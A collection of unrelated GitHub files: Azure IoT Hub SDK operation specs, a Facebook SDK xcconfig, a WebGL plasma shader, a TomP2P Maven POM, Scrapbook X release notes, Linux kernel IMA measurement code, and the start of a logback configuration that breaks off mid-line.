"subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/eventHubEndpoints/{eventHubEndpointName}/ConsumerGroups/{name}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName, Parameters.eventHubEndpointName, Parameters.name ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.EventHubConsumerGroupInfo }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const createEventHubConsumerGroupOperationSpec: msRest.OperationSpec = { httpMethod: "PUT", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/eventHubEndpoints/{eventHubEndpointName}/ConsumerGroups/{name}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName, Parameters.eventHubEndpointName, Parameters.name ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.EventHubConsumerGroupInfo }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const deleteEventHubConsumerGroupOperationSpec: msRest.OperationSpec = { httpMethod: "DELETE", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/eventHubEndpoints/{eventHubEndpointName}/ConsumerGroups/{name}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName, Parameters.eventHubEndpointName, Parameters.name ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: {}, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listJobsOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/jobs", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.JobResponseListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getJobOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/jobs/{jobId}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName, Parameters.jobId ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.JobResponse }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getQuotaMetricsOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/quotaMetrics", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubQuotaMetricInfoListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getEndpointHealthOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{iotHubName}/routingEndpointsHealth", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.iotHubName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.EndpointHealthDataListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const checkNameAvailabilityOperationSpec: msRest.OperationSpec = { httpMethod: "POST", path: "subscriptions/{subscriptionId}/providers/Microsoft.Devices/checkNameAvailability", urlParameters: [ Parameters.subscriptionId ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], requestBody: { parameterPath: { name: "name" }, mapper: { ...Mappers.OperationInputs, required: true } }, responses: { 200: { bodyMapper: Mappers.IotHubNameAvailabilityInfo }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const testAllRoutesOperationSpec: msRest.OperationSpec = { httpMethod: "POST", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{iotHubName}/routing/routes/$testall", urlParameters: [ Parameters.iotHubName, Parameters.subscriptionId, Parameters.resourceGroupName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], requestBody: { parameterPath: "input", mapper: { ...Mappers.TestAllRoutesInput, required: true } }, responses: { 200: { bodyMapper: Mappers.TestAllRoutesResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const testRouteOperationSpec: msRest.OperationSpec = { httpMethod: "POST", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{iotHubName}/routing/routes/$testnew", urlParameters: [ Parameters.iotHubName, Parameters.subscriptionId, Parameters.resourceGroupName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], requestBody: { parameterPath: "input", mapper: { ...Mappers.TestRouteInput, required: true } }, responses: { 200: { bodyMapper: Mappers.TestRouteResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listKeysOperationSpec: msRest.OperationSpec = { httpMethod: "POST", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/listkeys", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.SharedAccessSignatureAuthorizationRuleListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getKeysForKeyNameOperationSpec: msRest.OperationSpec = { httpMethod: "POST", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/IotHubKeys/{keyName}/listkeys", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName, Parameters.keyName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.SharedAccessSignatureAuthorizationRule }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const exportDevicesOperationSpec: msRest.OperationSpec = { httpMethod: "POST", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/exportDevices", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], requestBody: { parameterPath: "exportDevicesParameters", mapper: { ...Mappers.ExportDevicesRequest, required: true } }, responses: { 200: { bodyMapper: Mappers.JobResponse }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const importDevicesOperationSpec: msRest.OperationSpec = { httpMethod: "POST", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/importDevices", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], requestBody: { parameterPath: "importDevicesParameters", mapper: { ...Mappers.ImportDevicesRequest, required: true } }, responses: { 200: { bodyMapper: Mappers.JobResponse }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const beginCreateOrUpdateOperationSpec: msRest.OperationSpec = { httpMethod: "PUT", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.ifMatch0, Parameters.acceptLanguage ], requestBody: { parameterPath: "iotHubDescription", mapper: { ...Mappers.IotHubDescription, required: true } }, responses: { 200: { bodyMapper: Mappers.IotHubDescription }, 201: { bodyMapper: Mappers.IotHubDescription }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const beginUpdateOperationSpec: msRest.OperationSpec = { httpMethod: "PATCH", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], requestBody: { parameterPath: { tags: [ "options", "tags" ] }, mapper: { ...Mappers.TagsResource, required: true } }, responses: { 200: { bodyMapper: Mappers.IotHubDescription }, default: { bodyMapper: Mappers.CloudError } }, serializer }; const beginDeleteMethodOperationSpec: msRest.OperationSpec = { httpMethod: "DELETE", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubDescription }, 202: { bodyMapper: Mappers.IotHubDescription }, 204: {}, 404: { bodyMapper: Mappers.ErrorDetails }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listBySubscriptionNextOperationSpec: msRest.OperationSpec = { httpMethod: "GET", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubDescriptionListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listByResourceGroupNextOperationSpec: msRest.OperationSpec = { httpMethod: "GET", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubDescriptionListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getValidSkusNextOperationSpec: msRest.OperationSpec = { httpMethod: "GET", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubSkuDescriptionListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listEventHubConsumerGroupsNextOperationSpec: msRest.OperationSpec = { httpMethod: "GET", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.EventHubConsumerGroupsListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listJobsNextOperationSpec: msRest.OperationSpec = { httpMethod: "GET", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.JobResponseListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getQuotaMetricsNextOperationSpec: msRest.OperationSpec = { httpMethod: "GET", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubQuotaMetricInfoListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getEndpointHealthNextOperationSpec: msRest.OperationSpec = { httpMethod: "GET", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.EndpointHealthDataListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listKeysNextOperationSpec: msRest.OperationSpec = { httpMethod: "POST", baseUrl: "https://management.azure.com", path: "{nextLink}", urlParameters: [ Parameters.nextPageLink ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.SharedAccessSignatureAuthorizationRuleListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer };
{ "pile_set_name": "Github" }
// Copyright (c) 2014-present, Facebook, Inc. All rights reserved. // // You are hereby granted a non-exclusive, worldwide, royalty-free license to use, // copy, modify, and distribute this software in source code or binary form for use // in connection with the web services and APIs provided by Facebook. // // As with any software that integrates with the Facebook platform, your use of // this software is subject to the Facebook Developer Principles and Policies // [http://developers.facebook.com/policy/]. This copyright notice shall be // included in all copies or substantial portions of the software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS // FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER // IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN // CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #include "Shared/Platform/tvOS.xcconfig" #include "Shared/Target/DynamicFramework.xcconfig" #include "Shared/Version.xcconfig" PRODUCT_NAME = FBSDKLoginKit PRODUCT_BUNDLE_IDENTIFIER = com.facebook.sdk.FBSDKLoginKit CURRENT_PROJECT_VERSION = $(FBSDK_PROJECT_VERSION) INFOPLIST_FILE = $(SRCROOT)/FBSDKLoginKit/Info.plist MODULEMAP_FILE = $(SRCROOT)/FBSDKLoginKit/FBSDKLoginKit.modulemap
{ "pile_set_name": "Github" }
// define namespaces var THREEx = THREEx || {}; THREEx.ShaderLib = THREEx.ShaderLib || {}; THREEx.UniformsLib = THREEx.UniformsLib || {}; THREEx.UniformsLib['plasma'] = { time : { type : "f", value: 0.0 }, scale : { type : "f", value: 1.0 }, rotation: { type : "f", value: 0.0 }, opacity : { type : "f", value: 1.0 }, c0 : { type : "f", value: 5.0 }, c1 : { type : "f", value: 3.0 }, c2 : { type : "f", value: 11.0 }, c3 : { type : "f", value: 7.0 }, c4 : { type : "f", value: 9.0 }, c5 : { type : "f", value: 3.0 } }; THREEx.ShaderLib['plasma'] = { vertexShader: [ "#ifdef GL_ES", "precision highp float;", "#endif", "varying vec2 vUv;", "void main(){", "vUv = uv;", "gl_Position = projectionMatrix * modelViewMatrix * vec4(position,1.0);", "}" ].join( "\n" ), fragmentShader: [ "#ifdef GL_ES", "precision highp float;", "#endif", "varying vec2 vUv;", "uniform float time;", "uniform float scale;", "uniform float rotation;", "uniform float opacity;", "uniform float c0, c1, c2, c3, c4, c5;", // todo zoom and rotation of vec2 point "vec2 rotoZoom(const vec2 point, const float scale, const float rotation){", "vec2 tmp;", "tmp.x = point.x * cos(rotation) - point.y * sin(rotation);", "tmp.y = point.x * sin(rotation) + point.y * cos(rotation);", "tmp = tmp * scale;", "return tmp;", "}", // based on THREE.Color.setHSV() // based on Mads Elvheim / Madsy http://code.google.com/p/opengl3-freenode/wiki/ColorSpaceConversions "vec3 HSVtoRGB(const vec3 color){", "float h = color.r;", "float s = color.g;", "float v = color.b;", "float i = floor(h * 6.0);", "float f = (h * 6.0) - i;", "float p = v * (1.0 - s);", "float q = v * (1.0 - f * s);", "float t = v * (1.0 - (1.0 - f) * s);", "vec3 result;", "if( i < 1.0 ) result = vec3(v,t,p);", "else if( i < 2.0 ) result = vec3(q,v,p);", "else if( i < 3.0 ) result = vec3(p,v,t);", "else if( i < 4.0 ) result = vec3(p,q,v);", "else if( i < 5.0 ) result = vec3(t,p,v);", "else if( i < 6.0 ) result = vec3(v,p,q);", "else result = vec3(v,t,p);", "return result;", "}", // default value "#ifndef ROTOZOOM", "#define ROTOZOOM 1", "#endif", "#ifndef USEHSV", "#define USEHSV 1", "#endif", "void main(){", "vec2 p = -1.0 + 2.0 * vUv;", "#if ROTOZOOM", "p = rotoZoom(p, scale, rotation);", "#endif", "float cossin1 = cos(p.x*c0+sin(time*1.3)) - sin(p.y*c3-cos(time)) + sin(time);", "float cossin2 = cos(p.y*c1+cos(c1*time/c4)) * sin(p.x*c4*sin(time)) - cos(time);", "float cossin3 = cos(p.x*c2+sin(c2*time/c5)) + sin(p.y*c5+cos(time)) + cos(time);", //"vec3 color = vec3(abs(cossin1*sin(p.x)), cossin2*sin(p.y), cossin3*sin(p.x));", "vec3 color = vec3(abs(cossin1*sin(p.x)), 0.6 - 0.4* abs(cossin2*sin(p.y)), 0.5 - 0.3*(cossin3*sin(p.x)));", "#if USEHSV", "color = HSVtoRGB(color);", "#endif", "gl_FragColor = vec4(color, opacity);", //"gl_FragColor = vec4(cossin1*sin(p.x), cossin2*sin(p.y), cossin3*sin(p.x), opacity);", "}" ].join( "\n" ) };
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- * Copyright 2011 Thomas Bocek * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>net.tomp2p</groupId> <artifactId>tomp2p-parent</artifactId> <version>5.0-Beta9.1-SNAPSHOT</version> </parent> <artifactId>tomp2p-replication</artifactId> <name>TomP2P Replication</name> <packaging>jar</packaging> <licenses> <license> <name>Apache License, Version 2.0</name> <url>http://www.apache.org/licenses/LICENSE-2.0</url> </license> </licenses> <dependencies> <dependency> <groupId>net.tomp2p</groupId> <artifactId>tomp2p-core</artifactId> <version>${project.version}</version> </dependency> <dependency> <groupId>net.tomp2p</groupId> <artifactId>tomp2p-dht</artifactId> <version>${project.version}</version> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <optional>true</optional> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.0.1</version> <optional>true</optional> <exclusions> <exclusion> <artifactId>slf4j-api</artifactId> <groupId>org.slf4j</groupId> </exclusion> </exclusions> </dependency> <!-- For testing--> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.mockito</groupId> <artifactId>mockito-all</artifactId> <version>1.9.5</version> <scope>test</scope> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.1</version> <configuration> <source>1.7</source> <target>1.7</target> </configuration> </plugin> </plugins> </build> </project>
{ "pile_set_name": "Github" }
Scrapbook X 1.12.0a11 ===================== Changes since v1.12.0a10 ------------------------ - NEW: Added create and modify time properties for data items. (These properties will be added on export if not set. Export and then re-import old data to create these records) - NEW: Manage window now lists more data properties. - NEW: The data icon in the edit or info toolbar can now be clicked, and links to the directory of the current page, as a shortcut to view related data files. - UPDATE: Insert File now auto fills the current selected text as the name of a sub-page. - UPDATE: Insert Link or Insert File now auto records the last used format. - FIXED: Cannot drag to move data items when selecting multiple folders and items. - FIXED: Invalid file names for a sub-page now are rejected and alerted. - FIXED: Several file names of a sub page will cause the generated link be broken.
{ "pile_set_name": "Github" }
// SPDX-License-Identifier: GPL-2.0-only /* * Copyright (C) 2008 IBM Corporation * * Author: Mimi Zohar <[email protected]> * * File: ima_api.c * Implements must_appraise_or_measure, collect_measurement, * appraise_measurement, store_measurement and store_template. */ #include <linux/slab.h> #include <linux/file.h> #include <linux/fs.h> #include <linux/xattr.h> #include <linux/evm.h> #include <linux/iversion.h> #include "ima.h" /* * ima_free_template_entry - free an existing template entry */ void ima_free_template_entry(struct ima_template_entry *entry) { int i; for (i = 0; i < entry->template_desc->num_fields; i++) kfree(entry->template_data[i].data); kfree(entry->digests); kfree(entry); } /* * ima_alloc_init_template - create and initialize a new template entry */ int ima_alloc_init_template(struct ima_event_data *event_data, struct ima_template_entry **entry, struct ima_template_desc *desc) { struct ima_template_desc *template_desc; struct tpm_digest *digests; int i, result = 0; if (desc) template_desc = desc; else template_desc = ima_template_desc_current(); *entry = kzalloc(struct_size(*entry, template_data, template_desc->num_fields), GFP_NOFS); if (!*entry) return -ENOMEM; digests = kcalloc(NR_BANKS(ima_tpm_chip) + ima_extra_slots, sizeof(*digests), GFP_NOFS); if (!digests) { kfree(*entry); *entry = NULL; return -ENOMEM; } (*entry)->digests = digests; (*entry)->template_desc = template_desc; for (i = 0; i < template_desc->num_fields; i++) { const struct ima_template_field *field = template_desc->fields[i]; u32 len; result = field->field_init(event_data, &((*entry)->template_data[i])); if (result != 0) goto out; len = (*entry)->template_data[i].len; (*entry)->template_data_len += sizeof(len); (*entry)->template_data_len += len; } return 0; out: ima_free_template_entry(*entry); *entry = NULL; return result; } /* * ima_store_template - store ima template measurements * * Calculate the hash of a template entry, add the template entry * to an ordered list of measurement entries maintained inside the kernel, * and also update the aggregate integrity value (maintained inside the * configured TPM PCR) over the hashes of the current list of measurement * entries. * * Applications retrieve the current kernel-held measurement list through * the securityfs entries in /sys/kernel/security/ima. The signed aggregate * TPM PCR (called quote) can be retrieved using a TPM user space library * and is used to validate the measurement list. * * Returns 0 on success, error code otherwise */ int ima_store_template(struct ima_template_entry *entry, int violation, struct inode *inode, const unsigned char *filename, int pcr) { static const char op[] = "add_template_measure"; static const char audit_cause[] = "hashing_error"; char *template_name = entry->template_desc->name; int result; if (!violation) { result = ima_calc_field_array_hash(&entry->template_data[0], entry); if (result < 0) { integrity_audit_msg(AUDIT_INTEGRITY_PCR, inode, template_name, op, audit_cause, result, 0); return result; } } entry->pcr = pcr; result = ima_add_template_entry(entry, violation, op, inode, filename); return result; } /* * ima_add_violation - add violation to measurement list. * * Violations are flagged in the measurement list with zero hash values. * By extending the PCR with 0xFF's instead of with zeroes, the PCR * value is invalidated. */ void ima_add_violation(struct file *file, const unsigned char *filename, struct integrity_iint_cache *iint, const char *op, const char *cause) { struct ima_template_entry *entry; struct inode *inode = file_inode(file); struct ima_event_data event_data = { .iint = iint, .file = file, .filename = filename, .violation = cause }; int violation = 1; int result; /* can overflow, only indicator */ atomic_long_inc(&ima_htable.violations); result = ima_alloc_init_template(&event_data, &entry, NULL); if (result < 0) { result = -ENOMEM; goto err_out; } result = ima_store_template(entry, violation, inode, filename, CONFIG_IMA_MEASURE_PCR_IDX); if (result < 0) ima_free_template_entry(entry); err_out: integrity_audit_msg(AUDIT_INTEGRITY_PCR, inode, filename, op, cause, result, 0); } /** * ima_get_action - appraise & measure decision based on policy. * @inode: pointer to the inode associated with the object being validated * @cred: pointer to credentials structure to validate * @secid: secid of the task being validated * @mask: contains the permission mask (MAY_READ, MAY_WRITE, MAY_EXEC, * MAY_APPEND) * @func: caller identifier * @pcr: pointer filled in if matched measure policy sets pcr= * @template_desc: pointer filled in if matched measure policy sets template= * @keyring: keyring name used to determine the action * * The policy is defined in terms of keypairs: * subj=, obj=, type=, func=, mask=, fsmagic= * subj,obj, and type: are LSM specific. * func: FILE_CHECK | BPRM_CHECK | CREDS_CHECK | MMAP_CHECK | MODULE_CHECK * | KEXEC_CMDLINE | KEY_CHECK * mask: contains the permission mask * fsmagic: hex value * * Returns IMA_MEASURE, IMA_APPRAISE mask. * */ int ima_get_action(struct inode *inode, const struct cred *cred, u32 secid, int mask, enum ima_hooks func, int *pcr, struct ima_template_desc **template_desc, const char *keyring) { int flags = IMA_MEASURE | IMA_AUDIT | IMA_APPRAISE | IMA_HASH; flags &= ima_policy_flag; return ima_match_policy(inode, cred, secid, func, mask, flags, pcr, template_desc, keyring); } /* * ima_collect_measurement - collect file measurement * * Calculate the file hash, if it doesn't already exist, * storing the measurement and i_version in the iint. * * Must be called with iint->mutex held. * * Return 0 on success, error code otherwise */ int ima_collect_measurement(struct integrity_iint_cache *iint, struct file *file, void *buf, loff_t size, enum hash_algo algo, struct modsig *modsig) { const char *audit_cause = "failed"; struct inode *inode = file_inode(file); const char *filename = file->f_path.dentry->d_name.name; int result = 0; int length; void *tmpbuf; u64 i_version; struct { struct ima_digest_data hdr; char digest[IMA_MAX_DIGEST_SIZE]; } hash; /* * Always collect the modsig, because IMA might have already collected * the file digest without collecting the modsig in a previous * measurement rule. */ if (modsig) ima_collect_modsig(modsig, buf, size); if (iint->flags & IMA_COLLECTED) goto out; /* * Dectecting file change is based on i_version. On filesystems * which do not support i_version, support is limited to an initial * measurement/appraisal/audit. */ i_version = inode_query_iversion(inode); hash.hdr.algo = algo; /* Initialize hash digest to 0's in case of failure */ memset(&hash.digest, 0, sizeof(hash.digest)); if (buf) result = ima_calc_buffer_hash(buf, size, &hash.hdr); else result = ima_calc_file_hash(file, &hash.hdr); if (result && result != -EBADF && result != -EINVAL) goto out; length = sizeof(hash.hdr) + hash.hdr.length; tmpbuf = krealloc(iint->ima_hash, length, GFP_NOFS); if (!tmpbuf) { result = -ENOMEM; goto out; } iint->ima_hash = tmpbuf; memcpy(iint->ima_hash, &hash, length); iint->version = i_version; /* Possibly temporary failure due to type of read (eg. O_DIRECT) */ if (!result) iint->flags |= IMA_COLLECTED; out: if (result) { if (file->f_flags & O_DIRECT) audit_cause = "failed(directio)"; integrity_audit_msg(AUDIT_INTEGRITY_DATA, inode, filename, "collect_data", audit_cause, result, 0); } return result; } /* * ima_store_measurement - store file measurement * * Create an "ima" template and then store the template by calling * ima_store_template. * * We only get here if the inode has not already been measured, * but the measurement could already exist: * - multiple copies of the same file on either the same or * different filesystems. * - the inode was previously flushed as well as the iint info, * containing the hashing info. * * Must be called with iint->mutex held. */ void ima_store_measurement(struct integrity_iint_cache *iint, struct file *file, const unsigned char *filename, struct evm_ima_xattr_data *xattr_value, int xattr_len, const struct modsig *modsig, int pcr, struct ima_template_desc *template_desc) { static const char op[] = "add_template_measure"; static const char audit_cause[] = "ENOMEM"; int result = -ENOMEM; struct inode *inode = file_inode(file); struct ima_template_entry *entry; struct ima_event_data event_data = { .iint = iint, .file = file, .filename = filename, .xattr_value = xattr_value, .xattr_len = xattr_len, .modsig = modsig }; int violation = 0; /* * We still need to store the measurement in the case of MODSIG because * we only have its contents to put in the list at the time of * appraisal, but a file measurement from earlier might already exist in * the measurement list. */ if (iint->measured_pcrs & (0x1 << pcr) && !modsig) return; result = ima_alloc_init_template(&event_data, &entry, template_desc); if (result < 0) { integrity_audit_msg(AUDIT_INTEGRITY_PCR, inode, filename, op, audit_cause, result, 0); return; } result = ima_store_template(entry, violation, inode, filename, pcr); if ((!result || result == -EEXIST) && !(file->f_flags & O_DIRECT)) { iint->flags |= IMA_MEASURED; iint->measured_pcrs |= (0x1 << pcr); } if (result < 0) ima_free_template_entry(entry); } void ima_audit_measurement(struct integrity_iint_cache *iint, const unsigned char *filename) { struct audit_buffer *ab; char *hash; const char *algo_name = hash_algo_name[iint->ima_hash->algo]; int i; if (iint->flags & IMA_AUDITED) return; hash = kzalloc((iint->ima_hash->length * 2) + 1, GFP_KERNEL); if (!hash) return; for (i = 0; i < iint->ima_hash->length; i++) hex_byte_pack(hash + (i * 2), iint->ima_hash->digest[i]); hash[i * 2] = '\0'; ab = audit_log_start(audit_context(), GFP_KERNEL, AUDIT_INTEGRITY_RULE); if (!ab) goto out; audit_log_format(ab, "file="); audit_log_untrustedstring(ab, filename); audit_log_format(ab, " hash=\"%s:%s\"", algo_name, hash); audit_log_task_info(ab); audit_log_end(ab); iint->flags |= IMA_AUDITED; out: kfree(hash); return; } /* * ima_d_path - return a pointer to the full pathname * * Attempt to return a pointer to the full pathname for use in the * IMA measurement list, IMA audit records, and auditing logs. * * On failure, return a pointer to a copy of the filename, not dname. * Returning a pointer to dname, could result in using the pointer * after the memory has been freed. */ const char *ima_d_path(const struct path *path, char **pathbuf, char *namebuf) { char *pathname = NULL; *pathbuf = __getname(); if (*pathbuf) { pathname = d_absolute_path(path, *pathbuf, PATH_MAX); if (IS_ERR(pathname)) { __putname(*pathbuf); *pathbuf = NULL; pathname = NULL; } } if (!pathname) { strlcpy(namebuf, path->dentry->d_name.name, NAME_MAX); pathname = namebuf; } return pathname; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- ~ Copyright 2013-2018 the original author or authors. ~ ~ Licensed under the Apache License, Version 2.0 (the "License"); ~ you may not use this file except in compliance with the License. ~ You may obtain a copy of the License at ~ ~ https://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, software ~ distributed under the License is distributed on an "AS IS" BASIS, ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ~ See the License for the specific language governing permissions and ~ limitations under the License. --> <configuration> <include resource="org/springframework/boot/logging/logback/base.xml"/> <logger name="feign" level="DEBUG"/> <logger name="com.netflix.discovery.InstanceInfoReplicator" level="ERROR"/> <logger name="org.springframework" level="INFO"/> <logger name="org.springframework.cloud.sleuth" level="TRACE"/> <logger name="org.springframework.boot.autoconfigure.logging" level="INFO"/> <logger name="org.springframework.cloud.sleuth.log" level="DEBUG"/> <logger name="org.springframework.cloud.sleuth.trace" level="DEBUG"/> <logger name="org.springframework.cloud.sleuth.instrument.rxjava" 